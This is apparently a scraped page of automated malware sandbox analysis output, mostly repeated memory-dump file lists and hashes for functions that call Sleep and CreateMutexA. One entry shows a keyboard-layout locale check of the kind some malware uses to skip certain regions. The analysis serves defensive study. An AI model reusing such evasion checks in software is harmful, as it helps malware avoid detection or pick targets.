Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 0b297f4a0ae9c66ef4bc2cf859f71a2214637ab93e6c852b4a370b33367c5651
Instruction ID: 76cf2dd8ed3d6f53dcf52949e62fea858b2cb1f68b5a2e581a786626b3fa497f
Opcode Fuzzy Hash: 0b297f4a0ae9c66ef4bc2cf859f71a2214637ab93e6c852b4a370b33367c5651
Instruction Fuzzy Hash: 36F1C170900258ABDB24DF64CC85BDEBBB9EF45304F5042E9F918A7281DB749B88CF95

Function 00B49BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00B4A963
CreateMutexA.KERNEL32(00000000,00000000,00BA3254), ref: 00B4A981

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 918547ff15d3ec014928d609122adc913c6cefad827f1149373c48b9dc3f2268
Instruction ID: 92d8ea0369f92ccf39d419e9c29ecb73c8229db46c7cfc7a06775ea3a658a76b
Opcode Fuzzy Hash: 918547ff15d3ec014928d609122adc913c6cefad827f1149373c48b9dc3f2268
Instruction Fuzzy Hash: 0B316831744240DBEB1CDB78DCC976EBBE2EF86310F248298E414A72D6C7758B819751

Function 00B49F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00B4A963
CreateMutexA.KERNEL32(00000000,00000000,00BA3254), ref: 00B4A981

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8503a135b30cb7550e495f5eb64ffb4cb7913cd04374d1f4357a5a050fcf3055
Instruction ID: 18311985abcaf5e750101925eead21d136267e6feef72d62629367be24523043
Opcode Fuzzy Hash: 8503a135b30cb7550e495f5eb64ffb4cb7913cd04374d1f4357a5a050fcf3055
Instruction Fuzzy Hash: 9D3179317402408BEB1CDB78DC997ADB7E2EF86310F248699E425E73D1C7359B849752

Function 00B4A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00B4A963
CreateMutexA.KERNEL32(00000000,00000000,00BA3254), ref: 00B4A981

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 110bc1d33b1f61d32dff1a9078c6be808048671701855798609f45072e3afb59
Instruction ID: da8e0ca43324d0b56a17c16c58a6b913ada37b56f8cc26c072d505d7b40b96e5
Opcode Fuzzy Hash: 110bc1d33b1f61d32dff1a9078c6be808048671701855798609f45072e3afb59
Instruction Fuzzy Hash: D93148317802409BEB1C9B78CCC9B6DB7E2DFC6310F248299E425A73D1C7369A819756

Function 00B4A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00B4A963
CreateMutexA.KERNEL32(00000000,00000000,00BA3254), ref: 00B4A981

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: fd4306038e62ee0f889db309d1f065c458cf05b54f2d3a63f3b96e9ef4e442e6
Instruction ID: 1842d90a8dd05495b19724d4b55046d18dff6d28e25ba36dc505edbfd7c27b3a
Opcode Fuzzy Hash: fd4306038e62ee0f889db309d1f065c458cf05b54f2d3a63f3b96e9ef4e442e6
Instruction Fuzzy Hash: CE3148317802409BEB1C9B78DCCDB6DB7E2EFCA310F248299E414A72D1D7769B809752

Function 00B4A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00B4A963
CreateMutexA.KERNEL32(00000000,00000000,00BA3254), ref: 00B4A981

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
